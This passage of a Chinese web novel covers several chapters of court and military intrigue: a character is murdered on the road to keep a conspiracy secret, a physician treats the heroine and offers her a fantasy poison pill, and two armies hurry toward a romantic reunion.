只是那姑娘眼睛长在头顶,傲慢又无礼,脾气还特别不好,但因为看出是给战争里的孤儿们建学堂,将士们都很乐意干。为此,云琛还托将士捐赠过三千两白银。
没想到那姑娘就是菘蓝!
不得不承认,菘蓝实在是聪明,懂得借力和自保,这精于算计的本事,确实让人佩服。云琛心服口服。
看了眼天色,时间已晚,不容多留,云琛将随身的所有金银全都留下,还把一包蜂蜜糖给小学童们分了,马车和马也留给菘蓝,方便她行路。
临走时,菘蓝望了眼云琛来时的方向,随口问道:
“你刚从南边过来的?一个人去那深山老林子干什么,现在已经入冬,这南方虽是暖冬,但少不得猛兽冬眠前出来觅食,你毕竟是个女孩子,一个人不危险吗?”
云琛拍拍腰间太平剑,得意挑挑眉毛:
“放心,目前还没遇上能单挑过我的,倒是你,多加小心,以后如果有事,就去最近的霍帮堂口或者虎威军,报我名字,都会帮你的。”
“切,做大将军了,武将最高职,嘚瑟了呗?”菘蓝浅浅翻了个白眼,“行了,你赶紧走吧,天黑不安全,林子里有坏人就糟了。”
“不妨事,颜十九在里面。”云琛说,“你记得颜十九不,从前那拂晓将军,我最好的朋友,特帅的那个,我记得你俩说过话呢,应该有印象,他没死在洛疆王庭,老天保佑他死里逃生,活过来啦,现在请了神医在林子里治病呢!”
说完,完全没注意到菘蓝瞬间惨白的脸色,云琛挥挥手,自顾远去。
只留菘蓝在原地平复了好久才能平静。
当年被算计那一幕,那害得她失去清白,从此只能远离京都的往事,时常在夜梦里,又残忍地伤她一遍。
菘蓝深呼吸调整心情,感觉到平复些后,她转身欲走,却突然整个人震在原地,浑身汗毛都竖了起来。
她僵硬着步子,往云琛离去的方向走了几步,望着云琛大摇大摆走在夕阳下,那神气活现的样子,菘蓝却只感到一种前所未有的毛骨悚然。
自从被颜十九设计后,菘蓝曾无数个夜晚都在思考为什么。
按她事后推测,颜十九大概是为了扶“知罗”这个自己人上位,所以要离间她与南璃君,最终目的在于巩固自己“男宠”的地位。
结合后来的骊山道辨忠奸大戏,撺掇南璃君北伐亲征……菘蓝旁观一切,隐隐猜到颜十九可能不止想做个公主男宠,他最终目的是要在楠国弄权。
可是,方才云琛明明白白地说,颜十九是她最好的朋友。
霍乾念深爱云琛那般,怎可能容颜十九那样毒如蛇蝎的男人在云琛身边?
除非,霍乾念对颜十九所作所为和意图一无所知。
但那可能吗?
她菘蓝都能轻易看出的事,霍乾念那城府深似海,心思缜密如天罗地网,会看不出?
绝不可能。
那么,霍乾念从不去对付颜十九的理由,任由颜十九与云琛交往成友,甚至任由颜十九在南璃君身边兴风作浪,难道是......
越想越觉可怕,菘蓝浑身直冒鸡皮疙瘩,从骨子里感到阵阵发寒。
她再去看云琛,简直是一只傻傻的小绵羊,身边全是虎狼环伺,一招不慎,便是万劫不复。
“不会的,不会的,云琛对任何人都没有威胁,不管这天下谁当皇帝,都绝对不可能杀云琛这样好的人。要提醒云琛吗?告诉她提防身边所有人吗?不必了吧,就算被算计,被利用,也伤不了性命的,对吗......”
菘蓝用只有自己能听到的声音自言自语,脸色煞白如纸,跌跌撞撞回到茅屋。
她为窥见这惊天阴谋而恐惧,更为这泱泱楠国的前途命运——
为云琛的前途未卜感到忧重。
整整一夜,菘蓝都翻来覆去睡不着,犹豫要不要去提醒云琛。
提醒吧,对她自己来说太危险。
不提醒吧,云琛对她菘蓝有两次救命之恩,还有被误会冤枉的委屈过往,怎是一杯茶可以带过?她菘蓝可不是知恩不图报的鼠辈。
思来想去,菘蓝爬起身,拿出纸笔匆匆写下一封信,而后骑上白天时云琛留下的马,朝虎威军营地而去。
第424章 走不到尽头
菘蓝来到虎威军营地外的时候,天刚刚擦亮。
她请守营的将士通传,说有要事找云琛。
片刻后,云琛没来,来的是伏霖。
菘蓝是第一次见伏霖,见此人气质沉稳内敛,服制应是个副将,但级别较低,算不得云琛的亲信级,便不动声色地收敛起方才有些着急的神色。
在东宫混迹那么多年,她太懂得隐藏自己的情绪。
也非常知道,她即将提醒云琛的这些事何等重要,干系惊人,小心才能驶得万年船。
否则稍有差池,只怕她性命难保。
她必须亲自见云琛,当面将信给云琛才最安全。
想到这里,菘蓝悄悄摸了摸怀里写好的信,更深地藏好,以保不露出任何痕迹,然后笑盈盈向来人行礼:
“见过这位将军。小女子是云将军故交,有事找云将军,烦请通融些许。”
伏霖上下打量菘蓝,微微一笑:
“在下伏霖。姑娘来得不巧,云将军去城里了,不在营地。请问姑娘找云将军何事?”
原来是那个民间推举来的义军首领,后投奔狮威军的那位,这样不凡的人物,菘蓝自然有所耳闻,她笑笑:
“一点小事,我还是找云将军说吧。还请这位将军告知具体地方,云将军在城中何处,我好去寻她。”
看了眼天色,又看看装成男子模样、但怎么看都是个漂亮女子的菘蓝,伏霖道:
“我刚好要去趟城里。这会天才刚亮,路上不算安全,我送姑娘同去吧。”
这等体贴又完美的理由,菘蓝不能拒绝,只能与伏霖各自骑马,慢慢往城里而去。
行马路上,四周僻静无人,雾蓝的微光照得路边树影迷蒙不清,天空整个阴沉沉的。
一时间让人分不清,是即将清晨,还是将入黑夜。
伏霖与菘蓝不时礼貌闲聊:
“听姑娘口音,像是京都人?姑娘这般气质和容貌,必定出身显赫吧?”
“将军过誉了。”
“敢问姑娘芳名。”
“菘蓝。”
“姑娘如今忙于接济战后的孤儿们,做教书先生?实在功德无量,令人钦佩。”
“将军言重,我不过做个穷酸夫子,教教孩子们,打发些时间罢了。”
“苏小姐太过谦了。”
伏霖说完这句,菘蓝整个人一顿,勒马的缰绳霎时收紧,停下马,戒备地看向伏霖。
她只说她叫“菘蓝”,可从来没说过她姓什么。
但伏霖却仍然不慌不忙地继续行马,好似根本不为露出这样的破绽惊慌,幽幽道:
“姑娘不是有急事要找云将军吗?怎么不走了?”
那姿态淡定自如,几乎让菘蓝以为自己幻听了。
但她确信自己没有听错,肃下面容,狐疑、谨慎地盯了伏霖后背许久,再三思量后,轻轻夹了夹马肚子,继续往前。
伏霖似乎刻意将马速放慢,待到菘蓝的马并行过来时,他用很平常的语气道:
“姑娘的教书草堂,是在南边老林子往西二十里吧。云将军昨日送人进林子疗伤治病,出来时,恰要经过教书草堂,遇见姑娘,故人相逢,必然要闲聊些许。只是聊了些什么呢?以至于云将军走后,姑娘一夜辗转反侧、难以入眠,连衣服都来不及换,天刚亮就来了?”
顺着伏霖似笑非笑的目光,菘蓝这才注意到自己身上仍穿着昨天的衣裳。
她一晚上都在犹豫要不要去提醒云琛的事,哪还有心思换衣裳,合衣过夜后,身上衣服有许多皱痕,但不仔细看,根本看不出来。
菘蓝不禁暗自心惊,没想到伏霖眼睛如此厉害,亦心思缜密异于常人,寥寥几句就推测出,她其实有很重要的事找云琛。
这种风格,似乎颇有些像……霍乾念。
“姑娘,我们歇下马吧,容我去方便一二。”伏霖并没有接着刚才的话继续,而是要求停马,他要去撒尿。
菘蓝此时已满肚子惊疑,但人要方便,怎能不等,只得寻了棵大树停下来。
伏霖绕去树后不远处片刻,再回来时,一边走,一边还在调整腰带。
经过菘蓝时,他腰间一样东西滑落,“砰”一声掉在了土地上,恰好落在菘蓝脚边。
菘蓝自然地将东西拾起来,是一把虎牙做的匕首。
她拍拍上面的土,准备还给伏霖,目光不自觉打量那匕首,却是越看越眼熟,越看越心惊。
尽管菘蓝已极力掩饰神情,可她递出匕首时,那微微颤抖的手,还是尽被伏霖收在眼底。
伏霖嘴边噙着淡淡笑意,仍旧不为自己露出这样大的马脚惊慌。
菘蓝这才反应过来,所谓“露出马脚”,不过全是试探她菘蓝的伎俩。
二人都不说话,各自翻身上马,继续行路。
沉默许久之后,菘蓝满腹惊情风雨渐渐平息落定,整颗心深深坠入谷底。
她知道自己已经被发现了。
伏霖从见到她的第一眼起,就已猜到她实际上有了不得的大事找云琛。
那“苏小姐”和“虎牙匕首”则是一环套一环地试探、坐实了他的猜测。
作为南璃君从小的女官伴读,菘蓝熟识神虎,自然认得那罕有的巨大锋利的虎牙,也亲历了当年神虎被拔牙、祸首被赐死之事。
只是认得之后,按常理应当震惊,捂嘴惊问伏霖怎么活下来的,却万万不该隐藏情绪装作不认识。
隐藏,恰恰暴露了她要找云琛去说的事,一定与眼前这男人有牵连,并且——
关乎某个“了不得的惊天谋算”。
菘蓝不禁自嘲一笑,没想到自己精明算计这么多年,最后竟如此轻易落败在伏霖手中,跌落在她最擅长和习惯的“隐藏情绪”的本事上。
难怪说,物以类聚人以群分,能与霍乾念做结拜兄弟的,能是什么池中凡物吗?
想到这里,菘蓝知道已没有再继续伪装的必要了。
她再看前路——
这条灰蒙蒙的、还没来得及被太阳照耀到的路,她大约是走不到尽头了。
“我很好奇,你们是怎么从天牢逃出去的?替你们被斩首的那两个人又是谁?你们怎么躲过行刑当天的验明正身?”
面对菘蓝这些问题,伏霖微微一笑,只道两个字:
“你猜?”
菘蓝脊背一紧,目光微微颤动,“你们所图,在南璃君的位置,对吗?”
伏霖笑笑不说话。
菘蓝目光黯然道:
“可以最后留她一命吗,她并不坏,她只是太傻,太轻信别人,被人左右。”
伏霖仍旧不说话。
菘蓝轻轻点头,已明白他的意思,霎时红了眼眶,无可奈何地叹了口气。
“我已远离京都朝堂,一心只在教书......那些孩子们真的很可怜,无父无母,若无教导,只怕要庸碌度日,一生也无法跨越阶层的鸿沟......若我承诺即刻起,绝对保守秘密,是不是能放过我?”
沉默半晌,伏霖笑意散去,慢慢变得面无表情:
“再猜。”
下一刻,他从马背上翻身跃起,落定在菘蓝背后。
那虎牙匕首自菘蓝背后穿心而过,扎透了那封深深藏在胸口的信。
菘蓝痛苦地挣扎、呜咽,鲜红的血液顺着虎牙纹理流下来,滴滴答答,沿马背滑落,坠在这条没有尽头的路上。
第425章 摘花
初冬已至,娇媚了一个夏秋的花儿,开始走向萎靡凋零。
唯有紫茉莉一反常态,姹紫嫣红地爬满整个故英城墙,开得盛大又美丽,引得百姓们议论纷纷,称其反常有“花妖”。
云琛骑着吞云兽,立在城门前,望着高高耸立的花墙,几个百姓正自发组织拔藤摘花,清理城墙。
她不禁奇怪:
“太美丽也有错吗?”
没人能回答她的问题,只有座下的吞云兽用鼻孔喷了下气,仿佛在揶揄:
“你很闲?”
云琛像是被提醒到了,赶紧入城来到医药院后的临时指挥所。
托罗东东那几个“风火镰刀”的福,他们割草开路快,将士们修筑边境线的速度也快,只六七天的功夫,就修回到故英城外。
按照云琛先前猜测,霍乾念就快要与她提前会师见面了。
为不耽误谈恋爱,她首先要将大军留守与回京安排、后续巡查督办边境线等一干军务打点好。
她在指挥所忙活了整整一天,处理完各种军务文书,又收拾出一大包金银细软,想着与其带回京都那种不缺金银的地方,不如拿去给菘蓝,接济附近学堂的孤儿。
她扛起包裹往外走,刚好与来找她的伏霖迎面碰上。
“云将军,先前有位漂亮姑娘,好像叫什么蓝的,去营地找你,见你不在,她留封信就走了。”
说着,伏霖将一封崭新洁白的信函递过来,云琛接过翻看,确实是她从前做护卫时,经常见到的菘蓝的字体。
一目三行过后,云琛惊讶抬眉:
“菘蓝说,她要继续往北走,沿途教书,立志广施学粮,桃李满天下,叫我不必再去找她,她会时常写信与我。”
云琛心里有些奇怪,“她一个女孩子家,孤身在外多危险,她一向聪明懂借力,都是跟着军队行路,在附近教书,怎么突然要孤身往北呢?”
“姑娘家的,心思最多变,谁能猜透呀!”伏霖语气自然地回答,低头瞧见自己靴尖上一滴血迹,不动声色地将其抹去,然后上前接过云琛肩上的包裹,自告奋勇替云琛送往学堂。
云琛自然允许,也觉尽到心意,便很快将这事抛到脑后。
伏霖走后,她又折腾了两个时辰才忙完。
见天色已黑透,整个医药院安静无声,全都入睡,她也拖着疲乏的身子爬上榻,衣服都没脱,就睡了过去。
不知过了多久,迷迷糊糊中,她隐约感觉有人进了她屋子。
想到故英城里里外外都有虎威军驻扎,这动静估摸又是荣易或者罗东东,他俩最爱不打招呼就进来,她便没有睁眼理会。
谁知那人却得寸进尺,直接走进内室,摸索着爬上榻,贴近她身子动来动去,蹭了好半天才停下,然后对着她耳朵轻轻吹了口气,语气清亮地叫了一声:
“姐姐。”
因为睡得太迷糊的缘故,云琛短暂地忘记了颜十九去林子里治病的事情,还惦记要照顾只有孩童心智的他呢,便自然地伸出手,一边拍他后背哄睡,一边睡腔模糊道:
“乖……睡醒了姐姐带你去玩……”
“我不想玩,我饿了。”
“好,一会儿给你拿好吃的……”
“我现在就要吃!”
“行……吃啥……”
“吃奶。”
“好好好……”
云琛敷衍两句,就又陷入瞌睡。
那声音却靠她更近,音色里是掩饰不住的笑意,贱兮兮、坏兮兮、用已不再懵懂天真的声音坏笑道:
“姐姐,我现在就要吃奶。”
说罢,一只“魔爪”缓缓探向云琛衣襟。
紧接着,颜十九还没看清云琛是怎么从榻上跳起来的,整个人就已经被牢牢摁趴在床板上,“啪啪”挨了两个大嘴巴子。
云琛揉揉惺忪睡眼,打了个大呵欠,凑近手底下死死擒拿住的颜十九,望进那双贼亮的星星眼,仔细看了好一会儿,轻声笑起来:
“颜十九,你终于好了。好久不见。”
趁她说话时手上松了力气,颜十九一个鲤鱼打挺翻身而起,反将她扣压在榻上。
瞧着怀里睡得发懵又软乎乎的美人儿,颜十九勾唇一笑:
“姐姐,我病没好,还傻着呢,要你哄睡觉,喂饭——还要给我洗澡。”
看着他露出和从前一样熟悉的嬉皮笑脸没正经,云琛知道他已然好彻底,便放下心头惦念,也卸下所有戒心,两手垫在脑后,继续闭眼睡觉。
“好啊,洗澡是吧,军中刷马蹄子那个铁刷行吗?我保证给你从头到脚刷得干干净净,一点皮肉不剩,最后留下白白的骨头,漂亮得很!”
虽然知道云琛是在警告加玩笑,但这几句,颜十九听着就是特别合胃口。
他一把捞住云琛的腰,又翻身躺了下去,强迫她趴在他胸口。
这么烙大饼似的翻来覆去,云琛有点不耐烦了,想将身子支起来,颜十九有力的手掌却扣着她后腰,叫她动弹不得,她皱眉:
“喂,开玩笑也要有个尺度,我是名花有主的人,有夫婿定了亲的,你这样占我便宜,小心我剁了你的狗爪子!”
他挑眉,故作疑问:“夫婿?名花有主?你不是和霍乾念在幽州城分手了吗?全天下都知道的,我还为这事放了三天鞭炮呢!”
她用眼睛斜他,而后得意地扬扬眉毛:
“我们已经快和好了,马上就和好。”
“是吗?”他微微歪起头,一脸假模假样的关切:
“这么自信?那我可得抓紧机会,不如今夜就将‘名花’摘了,看你们还能不能继续好。”
说罢,颜十九扯起一个风流又魅惑的笑容,再次将云琛放倒在榻上,眼神露骨地来回打量她娇俏的脸,玩笑又试探地说句“那我亲了哦?”唇角慢慢靠近她。
云琛既不躲,也不反抗,只是两手环胸,找了个舒服的姿势躺好,然后闭起眼睛,一副准备入睡的架势。
这令颜十九一愣,眼中划过一抹惊喜,反倒犹豫起来。
这时,一阵响亮的马铃声匆匆由远及近。
普通人家的马车上,多用铁铃铛,富贵人家用铜铃,只有皇家的马车上会用声音很小、但足够彰显地位的金银銮铃。
且南璃君的马车上通常悬挂十八只,听起来如潺潺流水悦耳,特别好区分。
云琛虽耳朵不好,但马铃声在这寂静的夜里显得十分响亮,她显然比颜十九更早就听到了,所以才一副“躺平”姿态。
听得那马车铃声准确无误地进入医药院,马蹄声跑得比打仗还急,直接刹在云琛屋门口,颜十九身形一顿,眼神变得幽暗,面色泛起冷意。
他本想好好与云琛玩耍几天,却不想霍乾念的动作比他预想中还快。
算算时间,竟然是在他与云琛见面的第一天,就有人向霍乾念通风报信了。
随后霍乾念便马不停蹄派信使向南璃君告知他颜十九还活着的事,这才会有皇家马车没日没夜跑来接他这一幕。
这便是令他颜十九无法拒绝、必须离开的理由。
一想到又要回去应付南璃君,颜十九有些厌烦地皱了皱眉,再去看身下的云琛,只觉心神都被她牢牢甜甜地黏着,怎么都拔不开。
要不冒着被打死的风险,趁机亲她一下?然后拔腿就跑,跳上马车就逃?
他心里正这样想着,刚准备动作,却听伏霖热络的声音在外面响起:
“各位大人这边请,颜公子如今脑子有病,全靠我家将军没日没夜照顾呢,大人赶紧将颜公子接回宫诊治吧,可别叫皇上忧心!”
“那是那是!”一个太监连连应声,随后和侍卫急急拍门,大喊起来:
”颜公子!皇上一听说您还活着,高兴得都哭了,立马就派马车来接您了,颜公子,快与我们回宫吧!“
感觉到颜十九身子僵着,半天没有动弹,也不出声回应,云琛眼睛都懒得睁,抬腿踹他一脚:
“喂,别玩了,你的‘凤鸾春恩车’接你来了——”
第426章 想要你
皇令在上,岂能不从。
为了维持好“南璃君男宠”这个角色形象,继续图谋楠国江山的大计划,颜十九只得坐着他的“凤鸾春恩车”,匆匆随宫人侍卫回宫去。
临走之前,颜十九用阴翳的目光看向为宫人马车引路的伏霖,盯了那张斯文体面的脸许久:
“伏霖对吧?我记着了。”
伏霖面不改色,不卑不亢笑道:
“能被颜公子记住,是在下的荣幸。”
颜十九随后又用更冷的目光看向一旁与他同出林子的炎朗,皮笑肉不笑道:
“多谢神医医好我,听说,神医还要在此多留几日,为云将军治耳朵,三日够吗?”
炎朗面无表情,显然懒得做戏客套:
“三日不够,要七日。”
颜十九笑了一声,表情看着如常阳光,眼底却没有一丝笑意:
“好,神医心中有数就好。可别离家太久,让您母亲挂念啊!”
炎朗没有说话,只是表情愈发漠然。
云琛站在一旁,看看伏霖,又看看炎朗和颜十九。
她隐约察觉到这仨人好像不太对劲。
像是衣服底下藏着冷剑,都在暗暗死命往对方身上捅似的。
她对颜十九挥手说了再见,然后一鞭子抽在马屁股上,送走了皇家马车。
望着渐行渐远的车影,炎朗轻轻松下肩膀,舒了口气。
他看向云琛,不自觉露出个浅笑,刚走过去,想说句“终于没人打扰,我可以为你好好治耳朵了”,却听一个古板又讨厌的声音从背后响起:
“神医,我家公子感激您治病之恩,特留我在此伺候您,到为云将军医治好耳朵、送您回东炎为止。”
炎朗的脊背再次紧绷,冷下脸,没有说话。
接下来几天,炎朗极尽医责,每日为云琛把脉、施针,精心调配药物。
更亲自看炉子熬药,盯着云琛一碗接一碗地喝下去。
难得有与云琛这样朝夕相处的日子,炎朗很想趁这个机会与她说说话。
可万宸就像冤魂不散似的,一直在不近不远的角落静静伫立,名为“伺候”,实为“监视”。
炎朗不禁心中冷笑。
果然啊,他才刚刚开始治自己的离魂症而已,他这弟弟就开始对他不放心了,像防着天下所有男人一样防他。
眼见时间一天天过去,到了第七天的时候,炎朗借口要为云琛水下施针,想要支开万宸,后者却道:
“神医恕罪,属下不敢违逆公子命令,必须寸步不离地伺候您。”
炎朗冷厌道:“我要给云琛在水下施针,意味着她要脱去大部分衣裳,出水时,仅剩的衣服也贴在身上,你适合看吗?”
这下万宸沉默了,犹豫片刻,他转身离开屋子,但仍没有走太远,只站在最近的门口。
炎朗狠狠盯着万宸的背影,真想此刻伸出一刀,从背后捅死这个碍事的耳目。
可想到母后那哀伤无助的脸庞,炎朗又深知他什么都不能。
他深呼吸,平复些许,等稳定好心神回过头的时候,云琛已经脱得只剩最后一件袭衣,看得他愣了一下:
“你干嘛?”
云琛微微脸红,认真道:
“不是你说要水下施针的吗?医者无性别嘛,我准备好了,反正又不是第一回了!”
回想起当年揭晓她女儿身秘密,亲手为她脱衣、擦洗、疗伤的一幕,炎朗声音有些不自然,佯装咳嗽两声:
“那你进浴盆吧。”
云琛随即连衣躺进一个浅水大浴盆,整个人淹没进水里,只留鼻子在水面上呼吸。
炎朗随即为她动手施针,念叨着:
“这几日的汤药、针灸,算是医治你这些年的战伤,弥补了些亏损,让你不至于三十而亡,勉强再多活十年。但若要彻底补全身体,至少还需我为你调养一年半载,眼下虽然没有机会,但等他……等一切尘埃落定的时候,我会来好好医你的。
话说,你脉象有割裂之象,是不是添了个梦游的毛病?这不太妙,再发展下去,严重的话,后期会神明错乱或癫狂,我要为你压制住。但治标不治本,根源还在于你自己,莫再让自己受苦受痛,遭遇大刺激了。
此番水下施针,要比寻常针灸效果更好,过了今日,你再按方子喝够十日药,就是我能将你耳朵医治到的最好程度了。”
炎朗噼里啪啦说完一大堆,云琛没有回应,只脑袋浸在水里,眨巴着大眼睛,疑问地看着他。
他这才反应过来,她这会在水下,是听不见他说话的。
她想坐起身,可身上各处扎着针,不便行动,只能努力仰头,将娇红的嘴唇撅出水面,小鱼吐泡泡似的问他:
“你说什么呐?说慢些,我可以看口形。”
炎朗瞬间心头一动。
他看了眼不远处贴站在门口的万宸,而后定定望向云琛,再也不加掩饰任何情绪,眉宇微微颤动,一字一句化作口形,无声道:
“云琛,我想要你。我好想要你。”
云琛眨眨眼睛,看起来像没有听懂。
炎朗自嘲笑笑:
“我疯了吗,我这是在干什么……”
其实就连他自己也不知道,他对云琛到底是一种什么样的感情。
初见时,当她是个男人,一个热络、武功高强、大大咧咧又特别没规矩的浑小子。
后来,因为她入宫盗草受伤,意外发现她是女人。
那一天,是他炎朗此生第一次触碰到女孩子。
而且还是那么坚韧又美丽的女子。
当一层层剥去那满是血的衣衫、束胸,她凹凸有致的胴体呈现在他眼前时。
比起心动,他更觉得新鲜。
他生出想要拥有她的念头,就像盼望得到一条可以永远陪伴他的快乐小狗。
可看到颜十九为得不到她而疯狂崩溃时,炎朗又心里说不出的畅快。
他想要去争去抢,就算自己得不到,也绝不让颜十九如愿。
毕竟,几十年来他一无所有,永远在迁就、成全、保护自己这个任性疯狂的弟弟,这样偶尔争抢一次,嫉妒一次,不算过分吧。
可再后来,泰川城那让他误以为“神女显灵”的一幕,彻底改变了他的心。
当时那震撼和救赎的滋味,已深深刻印在灵魂,让他每次想起,仍觉心潮澎湃,激动得想哭出来。
从此只想跪伏在她脚下,仰望那菩萨一样美好圣洁的脸庞,像信徒般虔诚叩拜。
“所以云琛,我好想拥有你。”
炎朗用口型说完这些,云琛仍安安静静待在水里,脸上并没有什么特别的表情。
炎朗叹口气,为自己不敢表白的懦弱而悲哀,转而又想到了什么,对门口的万宸道:
“这水太凉了,去换些热水来。”
万宸本想拒绝,可眼下在医药院,除了他,没人可使唤,他只得快步离去。
趁此机会,炎朗快速拔去云琛身上的针,扶她起身,然后从衣袋摸出一个小小的指甲盖大的药盒,打开来,露出里面一颗奇形怪状的药丸,递给她:
“这是我为自己制完药后,用最后剩下一点龙烬,照古书制出的一颗‘噬魂丹’。我将它给你傍身,倘若将来你遇到恨之入骨的天大仇敌,就用此丹杀他。
这丹无色无味易溶于水,你可悄悄下在他茶里,饮后不伤血肉,不显中毒症状,却专攻魂魄心脉,叫他白日见鬼、夜不能寐,逐渐崩溃错乱,直至魂飞魄散。世上没有任何解药可以救。”
云琛刚从水里坐起身,满手都是水,没法接那颗药,但瞧那药麻麻赖赖,长得跟个癞蛤蟆似的,她忍不住嫌弃地往后躲:
“不要了吧,好意我心领了,但我若杀仇人,光明正大杀了他就行,干嘛下毒呢?”
“可这世上不是所有人都像你一样光明正大啊……”炎朗着急,话还没说完,万宸已打热水回来。
没办法,炎朗只得又赶紧将噬魂丹塞回衣袋,神色恢复淡定,装作什么都没发生过的样子。
既施完针,开过药,七日期限已到,炎朗踏上了回东炎的马车。
在万宸忙着套马准备出发的时候,炎朗掀开小窗上的帘子,与云琛简单告别。
她的耳朵已经好了许多,虽不似从前那样灵敏,但已经能正常与人说话。
看着炎朗明显长大一些的容貌,隐隐有矜贵公子的模样,云琛笑得十分开心,拍拍他的肩膀,故意用对小孩子说话的语气道:
“回去要多多吃饭,按时吃药,才能快点长高高哟!”
炎朗白了她一眼,“啪”地放下车帘,叫万宸起程。
马车行出去一段距离,炎朗又想起还有句话没说,但见万宸根本没有听他命令停车的意思,他只好探出车窗,回头朝云琛大声道:
“照顾好自己。等我长大,我会回来找你。”
云琛摇摇头,眉眼俱弯,笑得温柔又灿烂:
“别来找我啦,找你的新世界去!傻子。”
云琛话音落下,炎朗整个人怔住,一瞬间就明白,水下施针时,她其实看懂了他那句“想要你”。
亦看懂他内心的孤独与寂寞。
比起困惑于男女间的小小情意,她更希望他长成顶天立地的真男儿,去拥有他渴望已久的新世界。
“云琛啊云琛……”
炎朗喃喃念着她的名字,真不知上天将多少天地灵气聚于一体,才造出你这样性灵通达的妙人儿。
难怪说,能抵达黑暗深处的,永远是最纯白的光。
炎朗一时间心头百感交集,久久无法平息。
一直到马车驶出去很远,他才略略平静下来。
去长大,去守护她吧。
真菩萨也要威护法,对吧。
炎朗摸摸衣袋里的噬魂丹,正这样想着,马车却突然停了下来,打断了他对未来的所有幻想。
万宸用锋利的剑刃挑起车帘,目光盯向炎朗衣袋,字眼恭敬却语气生硬道:
“王爷可是制出了什么好东西?请王爷给卑职瞧瞧,如果不方便的话,卑职自己来取也行。”
第427章 迷死他
楠国三十三年冬,虎威军从东南上书十六封,禀报军务安排、筑造边境线等大小事务。
另一边,北境的狮威军则接连上书九十八封,恨不能将某人裹进信封,一起寄出去。
京都那边,朝廷章察院天天忙着处理文书,瞧着东南来一封,北境来八封,俩将军大小事务千百件,事无巨细全交代了。
狮威军的上书里提了八百遍“北境一干事务均已妥当,静候圣令”,就差直接说“求求了,这边什么都安排好了,快让我俩回京成婚吧”。
此举惹得整个章察院哭笑不得:
“霍将军几个意思?这么多上书,我看得眼睛都花了。”
“还不是暗示我们,赶紧下令让他俩大军会师回京呗!”
“那干嘛不明说呢?”
“不好意思呗。谁让霍将军之前说,两年后修完边境线才与云将军见面的,后悔了吧!”
“唉,九十八封上书,意味着我要写九十八份存档!本来上公务就烦,这下更烦!怎么我也成了他俩恋爱的一环?行吧行吧,等他俩大婚请酒的时候,看我不喝死他俩!”
“就凭你?一文官,想喝过俩武将?做梦呢?”
“哈哈哈哈哈——”
为了不让霍乾念那家伙继续用“上书”折磨整个章察院,院史连夜拟制、呈报、发布召狮威虎威大军回京的圣令。
据说,圣令前脚刚到狮威军,传令兵座下的马蹄子还没迈过营门呢,全体狮威军已原地弹射起步,朝与虎威军会师的预定地点——烟城,急行而去。
事后,据传令兵描述,现场那架势就跟一群撒开绳子的大金毛犬似的,咧着大嘴,呲着牙,一个劲傻乐,轰轰就往外冲啊,吓得他差点从马背上摔下去。
另一边,虎威军也已在向烟城急行的路上。
在荣易和罗东东的嬉笑注目中,云琛今日置办新衣裳,明日差人去买脂粉,后日又对着镜子练习捯饬发型,连吞云兽头上都摸了茉莉花油,没一刻消停的时候。
临到烟城前,云琛特意停下来扎帐子,沐浴洗发,从头到尾打扮一番,还给自己上了妆。
却不料,等她自信满满出现在荣易和罗东东等人面前时,直接吓得所有人退避三舍。
伏霖惊恐:“谁家纸扎人出来了??”
罗东东忍不住凑近云琛,伸出一根手指,抠抠她脸上快糊成大白墙的脂粉,边弹走指甲缝里的白泥,边打趣道:
“老大,你这脸,比俺们村死了三天的老太婆还白。你粉抹太多了吧?”
荣易也鼓足勇气凑过来细看,刚看一眼,又吓得赶紧退开,脸皱得跟团沙皮狗似的,嫌弃道:
“老大,你这妆,这审美,真……真挺阴间的……”
“没有吧?我觉得还好啊。”云琛心里有点发虚,拿来镜子一看,这才发现,刚才帐篷里光线太暗,她不自觉上妆太重,这会走到阳光底下,顿时原形毕露,变得惨不忍睹。
“唉,看来还得靠我。”伏霖边说边挽起袖子,对荣易和罗东东命令:
“端水,拿梳子、花油、胭脂、玉容粉,还有眉黛……全部拿来。”
在众人惊奇的目光中,伏霖拉着云琛,将那鬼火妆容洗得干干净净,然后手把手教她怎么扑玫瑰水、擦牡丹雪凝膏。
而后,荣易和罗东东搬来两把椅子,伏霖与云琛对坐下,他开始一点点仔细地、耐心地为她上妆。
一边上,还一边教她:
“你肤白,玉容粉便要浅色的,第一遍轻扑匀,第二遍重扑眉骨、脸颊、鼻梁和下巴……胭脂用糯粉最宜,刚好遮住你这几年风吹日晒出来的一点小皴裂……你眉毛浓,就不必重描,挑些许眉峰即可……另外口脂的话,你怎么画都是好看的,只是别要正红色,那是大婚时才用的……还有眼睫,切忌过重而喧宾夺主……”
伏霖声音不急不缓,说个没完没了,云琛不停“嗯嗯嗯”,荣易和罗东东则越听越没兴趣,很快坐在旁边打起瞌睡。
伏霖拿起一支眼睫笔,端住云琛下巴抬起,靠近她的脸,专注地为她细细描绘。
云琛很少与除霍乾念以外的男人离这么近,不禁有些局促,瞧着伏霖斯文又英俊的脸孔,没话找话:
“你怎么会这些?我还是第一次见男人会上妆。”
伏霖手中描绘不停,轻笑一声:
“上妆而已,何分男女呢?就像花草树木,天地日月,像我手里这支笔,哪有男女区别。”
云琛点点头:“这话真好。”
伏霖又笑:“是听懂这话的人好。”说完,他放下眼睫笔,身子后仰,端详云琛的脸,又补了三个字:
“是你好。”
云琛并不能明白那语气里感慨又带点酸的深意,但知道是夸自己呢,忍不住呲着白牙,甜甜笑起来。
她拿过镜子再看,整张脸已从“阴间”变得“明媚”:
些许英气的眉峰,水灵通透的眼睛,微微挑起的眼尾像准备勾人心魂的小钩子,再配上洁白无瑕的肌肤,浓密的长发梳成大方利落的样子,任风从哪个方向吹来,都是美的。
云琛对这妆容满意极了,连连夸赞:
“你手艺可真好呀!等我成婚的时候,也由你来给我上妆,行不?”
意外的,伏霖拒绝了,温和笑起:
“不了。你若平时想上妆,随时找我。成婚那日,还是交给妆娘吧,我若参与,便是煞风景,破坏了。”
云琛正不停对着镜子臭美,并未留心伏霖话里的意思。
伏霖则眉头微扬,一直目不转睛地瞧着云琛。
那眼神明明看着云琛,里面的柔光,却又像在看别人。
“真好看,里外都那么美,难怪他喜欢。”伏霖这样说。
云琛眨眨眼,“他?你是说阿念吗?”
“嗯。”伏霖低低应了一声,垂首片刻,捏捏眉心,又重新笑起,望了眼远处已隐约可见的狮威大旗,笑道:
“目测我们离狮威军就十几里路了,大概一个时辰——不,照某人那性子,半个时辰就能到这里,你还在等什么呢,还不快去?别让这么漂亮的妆花了喔!”
“嗯!”云琛使劲点头,小鸟一样雀跃地扑起来,翻身骑上吞云兽。
伏霖拍拍马背,朝狮威大旗奔来的方向扬了扬下巴,鼓励地对云琛笑道:
“去吧!迷死他去!”
